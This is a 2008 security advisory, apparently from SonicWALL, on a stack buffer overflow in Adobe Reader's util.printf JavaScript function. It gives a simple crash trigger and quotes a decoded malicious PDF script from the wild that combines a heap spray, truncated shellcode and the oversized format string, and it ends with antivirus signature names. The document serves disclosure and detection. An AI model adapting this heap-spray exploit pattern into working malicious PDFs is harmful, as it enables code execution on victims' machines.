Adobe Reader util.printf Buffer Overflow

November 7, 2008

Adobe Reader (formerly Acrobat Reader) is a ubiquitous application for viewing PDF (Portable Document Format) documents.

Since version 4.0, Acrobat includes JavaScript functionality allowing for customization and extensibility. Acrobat JavaScript is an extension of the core JavaScript which adds Acrobat-specific classes that enable the author to manage document related tasks. These classes include app, dbg, console, SOAP, ADBC, util, etc.

The util object provides the printf method which takes as argument, a format string specifier and values to be formatted; then it returns the corresponding formatted string. For example:

   var num = 12345
   util.printf("%.2f", num)

We get 12345.00.

There exists a stack buffer overflow in Adobe Reader when parsing specially crafted PDF files. Specifically, the vulnerability is caused due to a boundary error when parsing format strings containing a floating point specifier in the "util.printf()" JavaScript function. If the format string contains specific width for a floating point number, the code will copy the padding spaces (0x20) to a stack-allocated buffer with fixed length. Supplying an overly large width will overflow the buffer with spaces and overwrite SEH. For Example:

   var num = 1.2
   util.printf("%5000f", num)

This causes the byte 0x20 to be copied 5000 times on the stack and overflows the buffer.

An attacker can exploit this vulnerability by enticing a user to open a PDF document, which contains a malformed floating point specifier in the "util.printf()" JavaScript function. Successful exploitation would allow for arbitrary code injection and execution with the privileges of the currently logged in user. Code injection that does not result in execution would terminate the application due to memory corruption.

To evade the detection of the attack an attacker might use obfuscate techniques. For example, one of the PDF files exploiting this vulnerability contains the following FlateDecode stream:


Which would be decoded as:

function main() {

var sccs = unescape("%u03eb%ueb59%ue805%ufff8[...truncated]");

var bgbl = unescape("%u0A0A%u0A0A");
var slspc = 20 + sccs.length;
while(bgbl.length < slspc) bgbl += bgbl;
var fblk = bgbl.substring(0,slspc);
var blk = bgbl.substring(0,bgbl.length - slspc);
while(blk.length + slspc < 0x60000) blk = blk + blk + fblk; var mmy = new Array();
for(i = 0; i < 1200; i++){ mmy[i] = blk + sccs } var nm = 12;
for(i = 0; i < 18; i++){ nm = nm + "9"; }
for(i = 0; i < 276; i++){ nm = nm + "8"; } util.printf("%45000f", nm); this.closeDoc(true);

app.setTimeOut("main()", 5000);

SonicWALL Gateway AntiVirus provides protection against this vulnerability via GAV: PDF.util.printf.AS (Exploit) and PDF.util.printf.AS_2 (Exploit) signatures.